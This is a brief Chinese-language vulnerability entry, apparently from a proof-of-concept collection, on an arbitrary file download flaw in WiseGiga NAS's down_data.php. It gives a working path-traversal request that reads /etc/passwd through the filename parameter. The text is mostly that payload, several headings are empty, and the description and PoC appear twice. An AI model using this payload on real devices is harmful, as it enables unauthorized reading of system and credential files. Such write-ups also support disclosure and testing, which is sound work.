WiseGiga NAS down_data.php 任意文件下载漏洞
漏洞描述
WISEGIGA NAS down_data.php 存在任意文件下载漏洞，由于 /down_data.php 页面 filename 参数过滤不严，导致可以读取系统敏感文件。
漏洞影响
网络测绘
漏洞复现
主页面
验证POC
/down_data.php?filename=../../../../../../../../../../../../../../etc/passwd
WISEGIGA NAS down_data.php 存在任意文件下载漏洞，由于 /down_data.php 页面 filename 参数过滤不严，导致可以读取系统敏感文件。
主页面
验证POC
/down_data.php?filename=../../../../../../../../../../../../../../etc/passwd